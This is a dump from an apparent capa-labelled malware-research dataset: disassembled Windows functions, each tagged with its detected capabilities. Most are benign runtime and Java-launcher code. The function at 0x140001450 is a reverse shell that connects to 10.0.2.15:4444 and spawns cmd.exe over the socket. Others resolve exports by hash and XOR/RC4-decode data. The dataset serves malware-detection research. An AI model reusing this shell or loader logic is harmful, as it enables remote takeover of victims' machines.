joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000db70]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000db80]
mov dword [rax], 1
mov rax, qword [0x14000db90]
mov dword [rax], 1
mov rax, qword [0x14000db20]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000db60]
mov dword [0x14001100c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000dc50]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000dc30]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000dab0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140002360
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400023ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400023a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400023af
add rax, 0x28
cmp rax, r9
jne 0x140002390
xor eax, eax
ret

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002440
mov rdx, qword [0x14000db20]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000242e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000242e
cmp word [rax + 0x18], 0x20b
jne 0x14000242e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002440
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002419
add rbx, 0x28
cmp rbx, rdi
je 0x140002440
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002410
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002450
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000db20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002470
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002478
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002470
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400024cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002470
add rax, 0x28
cmp rax, r9
jne 0x1400024b0
xor eax, eax
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000db20]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400024ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400024ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002510
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000db20]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002530
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002538
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002530
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002580
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002577
test rcx, rcx
je 0x140002530
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002568
xor eax, eax
ret
Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000db20]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000db20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025f0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025f0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002644
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002650
add rdx, 0x28
cmp rdx, r9
jne 0x140002630
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000db20]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002682
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002690
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002682
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002682
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002682
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026e5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026f8
add rdx, 0x28
cmp r10, rdx
jne 0x1400026d0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002707
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002717
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026ee
test ecx, ecx
jg 0x140002700
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x180004be0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
movsxd rax, dword [rcx + 0x3c]
mov eax, dword [rcx + rax + 0x88]
add rax, rcx
mov ebx, dword [rax + 0x20]
mov edi, dword [rax + 0x1c]
mov esi, dword [rax + 0x24]
mov eax, dword [rax + 0x18]
test eax, eax
je 0x180004c92
lea r9, [rcx + rsi + 2]
sub eax, 1
sub rbx, rcx
lea r11, [rcx + rsi]
lea rbp, [r9 + rax*2]
nop dword [rax]
mov rax, r11
sub rax, rsi
mov r10d, dword [rbx + rax*2]
add r10, rcx
movsx ax, byte [r10]
test al, al
je 0x180004ca0
xor r9d, r9d
jmp 0x180004c43
mov r9d, r13d
lea r13d, [r9 + 1]
cmp byte [r10 + r13], 0
mov r12, r13
jne 0x180004c40
test r12d, r12d
je 0x180004ca0
lea r12, [r10 + r9]
xor r9d, r9d
jmp 0x180004c6a
movsx ax, byte [r10 + 1]
add r10, 1
imul r9d, r8d
movzx eax, ax
add r9d, eax
cmp r12, r10
jne 0x180004c60
movzx eax, word [r11]
cmp edx, r9d
lea rax, [rcx + rax*4]
mov eax, dword [rax + rdi]
je 0x180004cb3
add r11, 2
cmp rbp, r11
jne 0x180004c20
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
movzx eax, word [r11]
xor r9d, r9d
cmp edx, r9d
lea rax, [rcx + rax*4]
mov eax, dword [rax + rdi]
jne 0x180004c89
add rax, rcx
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x180004e00
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
xor eax, eax
mov r10, qword [r9 + 0x60]
mov r12, rcx
lea rcx, [rsp + 0x38]
nop
movzx r11d, byte [r10 + rax + 0x3c]
mov byte [rcx + rax], r11b
add rax, 1
cmp rax, 4
jne 0x180004e20
xor eax, eax
add rcx, 4
nop word [rax + rax]
movzx r11d, byte [r10 + rax + 0x14]
mov byte [rcx + rax], r11b
add rax, 1
cmp rax, 4
jne 0x180004e40
lea edi, [rdx - 8]
mov rbx, r12
xor r13d, r13d
mov qword [rsp + 0x28], 0
lea r14, [r12 + 8]
xor r15d, r15d
xor ebp, ebp
lea rsi, [rsp + 0x37]
sub r14, r12
mov edx, edi
sub edx, r14d
je 0x180004f70
lea r14d, [rdx - 1]
xor ecx, ecx
jmp 0x180004ea0
lea rdx, [rcx + 1]
cmp rcx, r14
je 0x180004f70
mov rcx, rdx
lea r11, [rbx + rcx]
mov edx, 1
movzx r10d, byte [rsi + rdx]
cmp byte [r11 + rdx], r10b
je 0x180004eba
cmp r10b, 0x3f
jne 0x180004e90
add rdx, 1
cmp rdx, 9
jne 0x180004ea9
lea rbx, [rbx + rcx + 1]
test rbx, rbx
je 0x180004f70
mov edx, dword [rbx]
lea r14, [rbx + 8]
mov r10d, edx
mov ecx, edx
movzx eax, dh
shl r10d, 0x18
shr ecx, 0x18
add ecx, r10d
mov r10d, eax
shr edx, 8
shl r10d, 0x10
and edx, 0xff00
add r10d, ecx
add r10d, edx
mov rdx, qword [r9 + 0x60]
mov edx, dword [rdx + 8]
cmp dword [rbx + 8], edx
je 0x180004fd0
test r15, r15
je 0x180004e75
lea r11d, [rbp + r10]
mov ecx, ebp
add rcx, r15
cmp r11d, r13d
ja 0x180005052
lea ebp, [r10 - 1]
test r10d, r10d
je 0x180004f56
xor edx, edx
jmp 0x180004f43
mov rdx, r10
movzx r10d, byte [rbx + rdx + 8]
cmp rbp, rdx
mov byte [rcx + rdx], r10b
lea r10, [rdx + 1]
jne 0x180004f40
sub r14, r12
mov edx, edi
mov ebp, r11d
sub edx, r14d
jne 0x180004e83
nop word [rax + rax]
xor edx, edx
test r15, r15
je 0x180004fb7
mov rax, qword [rsp + 0x28]
mov edx, dword [rax + 8]
mov r9d, dword [rax + 4]
test dl, 3
je 0x180004f98
nop dword [rax + rax]
sub edx, 1
test dl, 3
jne 0x180004f90
xor ecx, ecx
xor eax, eax
test edx, edx
je 0x180004faf
xor dword [r15 + rax + 0x10], r9d
add ecx, 4
cmp ecx, edx
movsxd rax, ecx
jb 0x180004fa0
test ebp, ebp
mov qword [r8], r15
setne dl
mov eax, edx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
test r15, r15
jne 0x180004f19
mov eax, dword [rbx + 0x10]
mov dword [rsp + 0x28], r10d
mov ecx, 0x40
mov qword [rsp + 0xa0], r8
mov qword [rsp + 0xa8], r9
lea edx, [rax + 0x10]
mov r13, rdx
call qword [r9 + 0xc8]
mov r10d, dword [rsp + 0x28]
mov r15, rax
xor eax, eax
mov r9, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xa0]
lea ecx, [r10 - 1]
test r10d, r10d
jne 0x180005033
jmp 0x180005045
mov rax, rdx
movzx edx, byte [rbx + rax + 8]
cmp rcx, rax
mov byte [r15 + rax], dl
lea rdx, [rax + 1]
jne 0x180005030
add ebp, r10d
mov qword [rsp + 0x28], r14
jmp 0x180004e75
sub r13d, ebp
mov edx, 0
lea r10d, [r13 - 1]
jne 0x180005068
jmp 0x180004f77
mov rdx, r9
movzx r9d, byte [r14 + rdx]
cmp r10, rdx
mov byte [rcx + rdx], r9b
lea r9, [rdx + 1]
jne 0x180005065
jmp 0x180004f77
Function at 0x180005d40
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov rbx, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [str.KERNEL32.dll]
call rbx
mov rcx, qword [sym.jli.dll_JLI_AddArgsFromEnvVar]
mov rsi, rax
call rbx
mov r8d, dword [0x18000100c]
mov rcx, rsi
mov edx, dword [0x180001028]
mov rbp, rax
mov ebp, eax
jmp 0x1800057f0

Function at 0x18000724c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rcx, str._JAVA_SPLASH_JAR
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
lea rcx, str._JAVA_SPLASH_FILE
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov dword [rsp + 0x50], 0x3f800000
mov rdi, rax
test rax, rax
je 0x180007398
call fcn.18000a86c
test eax, eax
je 0x18000735c
mov rcx, rdi
call fcn.18000a82c
movsxd rbx, eax
mov rcx, rbx
call sym.jli.dll_JLI_MemAlloc
mov r9, rax
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x50]
mov rdx, rdi
mov rcx, rsi
mov rbp, rax
call fcn.18000a7b4
test rsi, rsi
je 0x18000732d
test al, al
je 0x1800072e5
lea r8, [rsp + 0x58]
mov rdx, rbp
mov rcx, rsi
call fcn.1800092fc
mov rbx, rax
test rax, rax
jne 0x180007305
lea r8, [rsp + 0x58]
mov dword [rsp + 0x50], 0x3f800000
mov rdx, rdi
mov rcx, rsi
call fcn.1800092fc
mov rbx, rax
test rax, rax
je 0x180007326
movss xmm0, dword [rsp + 0x50]
call fcn.18000a970
mov edx, dword [rsp + 0x58]
mov rcx, rbx
call fcn.18000a8e0
mov rcx, rbx
call sym.jli.dll_JLI_MemFree
jmp 0x180007349
call fcn.18000a784
jmp 0x180007349
test al, al
je 0x180007341
movss xmm0, dword [rsp + 0x50]
call fcn.18000a970
mov rcx, rbp
jmp 0x180007344
mov rcx, rdi
call fcn.18000a8a0
mov rcx, rbp
call sym.jli.dll_JLI_MemFree
mov rdx, rsi
mov rcx, rdi
call fcn.18000a928
lea rcx, str._JAVA_VERSION_SET
call fcn.180008c84
lea rcx, str._JAVA_SPLASH_FILE
call fcn.180008c84
lea rcx, str._JAVA_SPLASH_JAR
call fcn.180008c84
mov rcx, qword [0x1800150f8]
call sym.jli.dll_JLI_MemFree
mov rcx, qword [0x1800150f0]
call sym.jli.dll_JLI_MemFree
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800079f4
Capabilities:
Create thread
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
and dword [rax + 0x18], 0
lea rax, [rax + 0x20]
mov rsi, rdx
mov qword [rsp + 0x28], rax
mov r9, rdx
mov dword [rsp + 0x20], 0x10000
mov rdi, rcx
lea r8, [0x180008c44]
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rbx, rax
test rax, rax
jne 0x180007a60
lea rax, [rsp + 0x58]
mov r9, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x180008c44]
and dword [rsp + 0x20], ebx
mov edx, edi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rbx, rax
cmp dword [0x180015048], 0
je 0x180007b1c
lea rcx, str.J2D_D3D
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x180007a99
lea rdx, str.false
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
neg eax
sbb ecx, ecx
and dword [0x180015048], ecx
lea rcx, str.J2D_D3D_PRELOAD
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdi, rax
test rax, rax
je 0x180007ad0
lea rdx, str.false
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
neg eax
sbb ecx, ecx
and ecx, dword [0x180015048]
mov dword [0x180015048], ecx
jmp 0x180007ad6
mov ecx, dword [0x180015048]
test ecx, ecx
jns 0x180007b0e
and dword [0x180015048], 0
test rdi, rdi
je 0x180007b1c
lea rdx, str.true
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
mov ecx, dword [0x180015048]
mov edx, 1
test eax, eax
cmove ecx, edx
mov dword [0x180015048], ecx
test ecx, ecx
je 0x180007b1c
lea rcx, str.preloadD3D
call fcn.18000787c
test rbx, rbx
je 0x180007b46
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180007b52
mov rcx, rsi
call fcn.180005174
mov dword [rsp + 0x50], eax
cmp dword [0x180015148], 0
je 0x180007b69
mov rax, qword [0x180015170]
test rax, rax
je 0x180007b69
call rax
mov eax, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x18000916c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
jne 0x180009194
lea rcx, [0x18000fb64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x28
ret

Function at 0x1800091a4
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
jne 0x1800091cc
lea rcx, [0x18000fb70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x28
ret
Function at 0x1800091d4
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x180009204
lea rdx, str._JAVA_LAUNCHER_DEBUG
mov byte [0x180015180], 1
lea rcx, str._____s_____n
call fcn.180009270
add rsp, 0x28
ret

Function at 0x180009240
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
test rax, rax
jne 0x180009268
lea rcx, str.strdup
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x28
ret
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
lea rax, str.10.0.2.15
mov qword [rbp - 8], rax
mov word [rbp - 0xa], 0x115c
lea rax, [0x140007040]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400071d8], rax
mov word [0x1400071e0], 2
movzx eax, word [rbp - 0xa]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400071e2], ax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400071e4], eax
mov rax, qword [0x1400071d8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400071e0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x140007200]
mov rcx, rax
call sym.memset
mov dword [0x140007200], 0x68
mov dword [0x14000723c], 0x100
mov rax, qword [0x1400071d8]
mov qword [0x140007260], rax
mov rax, qword [0x140007260]
mov qword [0x140007258], rax
mov rax, qword [0x140007258]
mov qword [0x140007250], rax
lea rax, [0x140007270]
mov qword [rsp + 0x48], rax
lea rax, [0x140007200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
jmp qword [sym.imp.WS2_32.dll_inet_addr]

Function at 0x1400018f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001960
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007304]
mov rbx, rcx
test esi, esi
jle 0x140001a90
mov rax, qword [0x140007308]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001990
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ab2
mov rax, qword [0x140007308]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007308]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001a40
add dword [0x140007304], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007308]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019b8
mov rax, qword [0x140007308]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002040
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007360]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007340]
test rbx, rbx
je 0x14000209c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002093
test eax, eax
jne 0x140002093
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002078
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400022c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400022d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret